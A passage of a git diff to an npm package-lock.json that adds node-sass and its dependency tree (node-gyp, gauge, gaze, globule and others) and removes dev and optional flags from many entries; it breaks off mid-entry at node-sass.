"dev": true, - "optional": true + "dev": true }, "bcrypt-pbkdf": { "version": "1.0.1", @@ -5544,8 +5887,7 @@ "buffer-shims": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "caseless": { "version": "0.12.0", @@ -5816,8 +6158,7 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "ini": { "version": "1.3.4", @@ -6012,7 +6353,6 @@ "version": "1.4.0", "bundled": true, "dev": true, - "optional": true, "requires": { "wrappy": "1" } @@ -6322,11 +6662,21 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true } } }, + "fstream": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz", + "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==", + "requires": { + "graceful-fs": "^4.1.2", + "inherits": "~2.0.0", + "mkdirp": ">=0.5 0", + "rimraf": "2" + } + }, "function-bind": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", @@ -6339,11 +6689,53 @@ "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", "dev": true }, + "gauge": { + "version": "2.7.4", + "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", + "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", + "requires": { + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", + "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "requires": { + "number-is-nan": "^1.0.0" + } + }, + "string-width": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", + "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + } + } + } + }, + "gaze": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", + "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", + "requires": { + "globule": "^1.0.0" + } + }, "get-caller-file": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz", - "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==", - "dev": true + "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==" }, "get-func-name": { "version": "2.0.0", @@ -6354,8 +6746,7 @@ "get-stdin": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz", - "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=", - "dev": true + "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=" }, "get-stream": { "version": "3.0.0", @@ -6373,7 +6764,6 @@ "version": "0.1.7", "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", - "dev": true, "requires": { "assert-plus": "^1.0.0" } @@ -6382,7 +6772,6 @@ "version": "7.1.3", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz", "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", - "dev": true, "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", @@ -6408,7 +6797,6 @@ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz", "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", "dev": true, - "optional": true, "requires": { "is-glob": "^2.0.0" } @@ -6449,11 +6837,20 @@ "pinkie-promise": "^2.0.0" } }, + "globule": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz", + "integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==", + "requires": { + "glob": "~7.1.1", + "lodash": "~4.17.10", + "minimatch": "~3.0.2" + } + }, "graceful-fs": { "version": "4.1.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.11.tgz", - "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=", - "dev": true + "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=" }, "growl": { "version": "1.10.5", @@ -6498,8 +6895,7 @@ "har-schema": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", - "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=", - "dev": true + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=" }, "har-validator": { "version": "5.0.3", @@ -6538,7 +6934,6 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "dev": true, "requires": { "ansi-regex": "^2.0.0" } @@ -6578,6 +6973,11 @@ "integrity": "sha1-uhqPGvKg/DllD1yFA2dwQSIGO0Q=", "dev": true }, + "has-unicode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", + "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=" + }, "has-value": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", @@ -6733,8 +7133,7 @@ "hosted-git-info": { "version": "2.7.1", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.7.1.tgz", - "integrity": "sha512-7T/BxH19zbcCTa8XkMlbK5lTo1WtgkFi3GvdWEyNuc4Vex7/9Dqbnpsf4JMydcfj9HCg4zUWFTL3Za6lapg5/w==", - "dev": true + "integrity": "sha512-7T/BxH19zbcCTa8XkMlbK5lTo1WtgkFi3GvdWEyNuc4Vex7/9Dqbnpsf4JMydcfj9HCg4zUWFTL3Za6lapg5/w==" }, "hpack.js": { "version": "2.1.6", @@ -7237,7 +7636,6 @@ "version": "1.2.0", "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", - "dev": true, "requires": { "assert-plus": "^1.0.0", "jsprim": "^1.2.2", @@ -7387,11 +7785,15 @@ "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", "dev": true }, + "in-publish": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/in-publish/-/in-publish-2.0.0.tgz", + "integrity": "sha1-4g/146KvwmkDILbcVSaCqcf631E=" + }, "indent-string": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-2.1.0.tgz", "integrity": "sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=", - "dev": true, "requires": { "repeating": "^2.0.0" } @@ -7406,7 +7808,6 @@ "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", - "dev": true, "requires": { "once": "^1.3.0", "wrappy": "1" @@ -7415,8 +7816,7 @@ "inherits": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", - "dev": true + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" }, "inquirer": { "version": "6.2.0", @@ -7518,8 +7918,7 @@ "invert-kv": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", - "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=", - "dev": true + "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=" }, "ip": { "version": "1.1.5", @@ -7572,7 +7971,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-1.0.0.tgz", "integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=", - "dev": true, "requires": { "builtin-modules": "^1.0.0" } @@ -7642,21 +8040,18 @@ "is-extendable": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", - "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=", - "dev": true + "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=" }, "is-extglob": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz", "integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=", - "dev": true, - "optional": true + "dev": true }, "is-finite": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/is-finite/-/is-finite-1.0.2.tgz", "integrity": "sha1-zGZ3aVYCvlUO8R6LSqYwU0K20Ko=", - "dev": true, "requires": { "number-is-nan": "^1.0.0" } @@ -7664,15 +8059,13 @@ "is-fullwidth-code-point": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=" }, "is-glob": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz", "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", "dev": true, - "optional": true, "requires": { "is-extglob": "^1.0.0" } @@ -7715,7 +8108,6 @@ "version": "2.0.4", "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", - "dev": true, "requires": { "isobject": "^3.0.1" }, @@ -7723,8 +8115,7 @@ "isobject": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" } } }, @@ -7739,8 +8130,7 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", - "dev": true, - "optional": true + "dev": true }, "is-promise": { "version": "2.1.0", @@ -7777,14 +8167,12 @@ "is-typedarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", - "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", - "dev": true + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" }, "is-utf8": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz", - "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", - "dev": true + "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=" }, "is-windows": { "version": "1.0.2", @@ -7815,8 +8203,7 @@ "isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", - "dev": true + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=" }, "isobject": { "version": "2.1.0", @@ -7849,8 +8236,7 @@ "isstream": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", - "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", - "dev": true + "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" }, "istanbul": { "version": "0.4.5", @@ -7904,6 +8290,11 @@ } } }, + "js-base64": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.1.tgz", + "integrity": "sha512-M7kLczedRMYX4L8Mdh4MzyAMM9O5osx+4FcOQuTvr3A9F2D9S5JXheN0ewNbrvK2UatkTRhL5ejGmGSjNMiZuw==" + }, "js-file-download": { "version": "0.4.4", "resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.4.tgz", @@ -7928,7 +8319,6 @@ "version": "0.1.1", "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", - "dev": true, "optional": true }, "jsesc": { @@ -7950,8 +8340,7 @@ "json-schema": { "version": "0.2.3", "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", - "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", - "dev": true + "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=" }, "json-schema-traverse": { "version": "0.3.1", @@ -7967,8 +8356,7 @@ "json-stringify-safe": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", - "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", - "dev": true + "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" }, "json3": { "version": "3.3.2", @@ -7995,7 +8383,6 @@ "version": "1.4.1", "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", - "dev": true, "requires": { "assert-plus": "1.0.0", "extsprintf": "1.3.0", @@ -8295,8 +8682,7 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.2.0", @@ -8317,14 +8703,12 @@ "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -8339,20 +8723,17 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", @@ -8469,8 +8850,7 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "ini": { "version": "1.3.5", @@ -8482,7 +8862,6 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { "number-is-nan": "^1.0.0" } @@ -8497,7 +8876,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "^1.1.7" } @@ -8505,14 +8883,12 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "minipass": { "version": "2.2.4", "bundled": true, "dev": true, - "optional": true, "requires": { "safe-buffer": "^5.1.1", "yallist": "^3.0.0" @@ -8531,7 +8907,6 @@ "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } @@ -8612,8 +8987,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "object-assign": { "version": "4.1.1", @@ -8625,7 +8999,6 @@ "version": "1.4.0", "bundled": true, "dev": true, - "optional": true, "requires": { "wrappy": "1" } @@ -8711,8 +9084,7 @@ "safe-buffer": { "version": "5.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "safer-buffer": { "version": "2.1.2", @@ -8748,7 +9120,6 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -8768,7 +9139,6 @@ "version": "3.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "ansi-regex": "^2.0.0" } @@ -8812,14 +9182,12 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "yallist": { "version": "3.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true } } }, @@ -9153,7 +9521,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", - "dev": true, "requires": { "invert-kv": "^1.0.0" } @@ -9172,7 +9539,6 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz", "integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=", - "dev": true, "requires": { "graceful-fs": "^4.1.2", "parse-json": "^2.2.0", @@ -9185,7 +9551,6 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz", "integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=", - "dev": true, "requires": { "is-utf8": "^0.2.0" } @@ -9287,6 +9652,11 @@ "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", "integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=" }, + "lodash.tail": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.tail/-/lodash.tail-4.1.1.tgz", + "integrity": "sha1-0jM6NtnncXyK0vfKyv7HwytERmQ=" + }, "lodash.topath": { "version": "4.5.2", "resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz", @@ -9388,8 +9758,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=", - "dev": true, - "optional": true + "dev": true }, "loose-envify": { "version": "1.3.1", @@ -9403,7 +9772,6 @@ "version": "1.6.0", "resolved": "https://registry.npmjs.org/loud-rejection/-/loud-rejection-1.6.0.tgz", "integrity": "sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=", - "dev": true, "requires": { "currently-unhandled": "^0.4.1", "signal-exit": "^3.0.0" @@ -9419,7 +9787,6 @@ "version": "4.1.3", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.3.tgz", "integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==", - "dev": true, "requires": { "pseudomap": "^1.0.2", "yallist": "^2.1.2" @@ -9460,8 +9827,7 @@ "map-obj": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", - "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", - "dev": true + "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=" }, "map-visit": { "version": "1.0.0", @@ -9558,7 +9924,6 @@ "version": "3.7.0", "resolved": "https://registry.npmjs.org/meow/-/meow-3.7.0.tgz", "integrity": "sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=", - "dev": true, "requires": { "camelcase-keys": "^2.0.0", "decamelize": "^1.1.2", @@ -9625,14 +9990,12 @@ "mime-db": { "version": "1.29.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.29.0.tgz", - "integrity": "sha1-SNJtI1WJZRcErFkWygYAGRQmaHg=", - "dev": true + "integrity": "sha1-SNJtI1WJZRcErFkWygYAGRQmaHg=" }, "mime-types": { "version": "2.1.16", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.16.tgz", "integrity": "sha1-K4WKUuXs1RbbiXrCvodIeDBpjiM=", - "dev": true, "requires": { "mime-db": "~1.29.0" } @@ -9668,7 +10031,6 @@ "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", - "dev": true, "requires": { "brace-expansion": "^1.1.7" } @@ -9676,8 +10038,7 @@ "minimist": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.0.tgz", - "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=", - "dev": true + "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=" }, "mississippi": { "version": "2.0.0", @@ -9718,11 +10079,26 @@ } } }, + "mixin-object": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mixin-object/-/mixin-object-2.0.1.tgz", + "integrity": "sha1-T7lJRB2rGCVA8f4DW6YOGUel5X4=", + "requires": { + "for-in": "^0.1.3", + "is-extendable": "^0.1.1" + }, + "dependencies": { + "for-in": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-0.1.8.tgz", + "integrity": "sha1-2Hc5COMSVhCZUrH9ubP6hn0ndeE=" + } + } + }, "mkdirp": { "version": "0.5.1", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=", - "dev": true, "requires": { "minimist": "0.0.8" }, @@ -9730,8 +10106,7 @@ "minimist": { "version": "0.0.8", "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz", - "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=", - "dev": true + "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=" } } }, @@ -9902,8 +10277,7 @@ "neo-async": { "version": "2.5.2", "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.5.2.tgz", - "integrity": "sha512-vdqTKI9GBIYcAEbFAcpKPErKINfPF5zIuz3/niBfq8WUZjpT2tytLlFVrBgWdOtqI4uaA/Rb6No0hux39XXDuw==", - "dev": true + "integrity": "sha512-vdqTKI9GBIYcAEbFAcpKPErKINfPF5zIuz3/niBfq8WUZjpT2tytLlFVrBgWdOtqI4uaA/Rb6No0hux39XXDuw==" }, "next-tick": { "version": "1.0.0", @@ -9941,6 +10315,141 @@ "integrity": "sha512-MmbQJ2MTESTjt3Gi/3yG1wGpIMhUfcIypUCGtTizFR9IiccFwxSpfp0vtIZlkFclEqERemxfnSdZEMR9VqqEFQ==", "dev": true }, + "node-gyp": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz", + "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==", + "requires": { + "fstream": "^1.0.0", + "glob": "^7.0.3", + "graceful-fs": "^4.1.2", + "mkdirp": "^0.5.0", + "nopt": "2 || 3", + "npmlog": "0 || 1 || 2 || 3 || 4", + "osenv": "0", + "request": "^2.87.0", + "rimraf": "2", + "semver": "~5.3.0", + "tar": "^2.0.0", + "which": "1" + }, + "dependencies": { + "ajv": { + "version": "6.10.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", + "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", + "requires": { + "fast-deep-equal": "^2.0.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "aws4": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz", + "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ==" + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=" + }, + "har-validator": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", + "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", + "requires": { + "ajv": "^6.5.5", + "har-schema": "^2.0.0" + } + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "mime-db": { + "version": "1.40.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz", + "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==" + }, + "mime-types": { + "version": "2.1.24", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz", + "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==", + "requires": { + "mime-db": "1.40.0" + } + }, + "oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" + }, + "psl": { + "version": "1.1.32", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz", + "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g==" + }, + "request": { + "version": "2.88.0", + "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", + "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", + "requires": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.0", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.4.3", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "semver": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", + "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=" + }, + "tough-cookie": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", + "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", + "requires": { + "psl": "^1.1.24", + "punycode": "^1.4.1" + } + }, + "uuid": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", + "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" + } + } + }, "node-libs-browser": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.1.0.tgz", @@ -10016,6 +10525,160 @@ } } }, + "node-sass": { + "version": "4.12.0", + "resolved": 